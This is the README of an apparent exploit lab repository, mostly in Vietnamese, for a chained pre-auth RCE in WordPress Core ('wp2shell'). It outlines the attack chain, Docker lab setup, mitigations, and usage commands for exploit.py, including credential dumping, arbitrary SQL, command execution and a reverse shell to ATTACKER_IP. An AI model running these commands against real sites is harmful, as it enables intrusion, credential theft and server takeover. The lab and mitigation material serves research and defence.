Share
## https://sploitus.com/exploit?id=4CBE14A2-D6DE-5ECD-9583-002065FCA8EC
# CVE-2026-63030 & CVE-2026-60137 — wp2shell
> **WordPress Core Pre-Auth RCE** — Route Confusion + SQL Injection chained to Remote Code Execution
| | |
|:---|:---|
| **CVE** | CVE-2026-63030 + CVE-2026-60137 |
| **Alias** | wp2shell |
| **Vulnerability Type** | REST API Route Confusion → SQL Injection → RCE |
| **Severity** | Critical — CVSS 10.0 |
| **Affected** | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| **Fixed in** | WordPress 6.8.6, 6.9.5, 7.0.2 |
| **Auth Required** | None (Pre-Auth) |
---
## Overview
**wp2shell** là tên gọi cho chuỗi khai thác kết hợp 2 lỗ hổng trong WordPress Core:
- **CVE-2026-63030** — *Route Confusion*: Batch endpoint (`/wp-json/batch/v1`) bị lệch index giữa mảng `$matches[]` và `$validation[]` khi sub-request có path lỗi, khiến sub-request tiếp theo chạy dưới handler sai → bypass REST API schema validation.
- **CVE-2026-60137** — *SQL Injection*: `WP_Query::get_posts()` không sanitize tham số `author__not_in` khi nhận vào là string thay vì array → raw SQL injection.
Hai bug kết hợp tạo thành chuỗi **Pre-Auth RCE hoàn chỉnh** — từ 0 credentials đến shell trên server chỉ qua HTTP request.
### Exploit Chain
```
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
```
> Đọc phân tích kỹ thuật đầy đủ tại **[REPORT.md](./REPORT.md)**
---
## Lab Setup
Lab sử dụng Docker Compose với 3 container:
| Container | Image | Port |
|:---|:---|:---|
| WordPress (vulnerable) | `wordpress:6.9.4` | `8080` |
| MySQL | `mysql:8.0` | internal |
| phpMyAdmin | `phpmyadmin:latest` | `8081` |
### Yêu cầu
- Docker + Docker Compose
- Python 3.8+ (stdlib only, không cần cài thêm package)
- Bash (để chạy `setup.sh`)
### Khởi động
```bash
cd wp2shell-lab
bash setup.sh
```
Script tự động:
1. Pull images và khởi động containers
2. Cài đặt WordPress 6.9.4
3. Seed dữ liệu mẫu (bài viết, user)
4. Bật MySQL general log + WP_DEBUG
Khi hoàn tất sẽ hiển thị **"WP2Shell Lab — READY!"** kèm thông tin đăng nhập.
### Dọn dẹp
```bash
cd wp2shell-lab
docker compose down -v
```
---
## Exploit Usage
```bash
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
```
> PoC script được viết lại từ đầu, tham khảo từ [Icex0/wp2shell-poc](https://github.com/Icex0/wp2shell-poc).
> Sử dụng Python 3 stdlib only, không cần cài thêm dependencies.
---
## Điều kiện khai thác
| Điều kiện | Yêu cầu |
|:---|:---|
| WordPress version | 6.9.0–6.9.4 hoặc 7.0.0–7.0.1 |
| REST API batch endpoint | Accessible (bật mặc định) |
| Authentication | Không cần |
| Network | Attacker reach được WordPress |
---
## Mitigation
1. **Nâng cấp WordPress** lên >= 6.9.5 hoặc >= 7.0.2 — cách duy nhất triệt để.
2. **Disable batch endpoint** tạm thời: thêm `add_filter('rest_batch_disabled', '__return_true');` vào `functions.php`.
3. **WAF rule**: chặn request đến `/wp-json/batch/v1` chứa SQL keywords.
---
## Disclaimer
> Repo này được tạo phục vụ mục đích **nghiên cứu, học tập và CTF** trong môi trường lab kiểm soát.
> Không sử dụng để tấn công hệ thống thực. Mọi hành vi khai thác trái phép là vi phạm pháp luật.
---
## References
- [Icex0/wp2shell-poc](https://github.com/Icex0/wp2shell-poc) — PoC gốc tham khảo
- [WordPress 6.9.4 — class-wp-rest-server.php](https://github.com/WordPress/wordpress-develop/blob/6.9.4/src/wp-includes/rest-api/class-wp-rest-server.php)
- [WordPress 6.9.4 — class-wp-query.php](https://github.com/WordPress/wordpress-develop/blob/6.9.4/src/wp-includes/class-wp-query.php)
- [Patch diff 6.9.4 -> 6.9.5](https://github.com/WordPress/wordpress-develop/compare/6.9.4...6.9.5)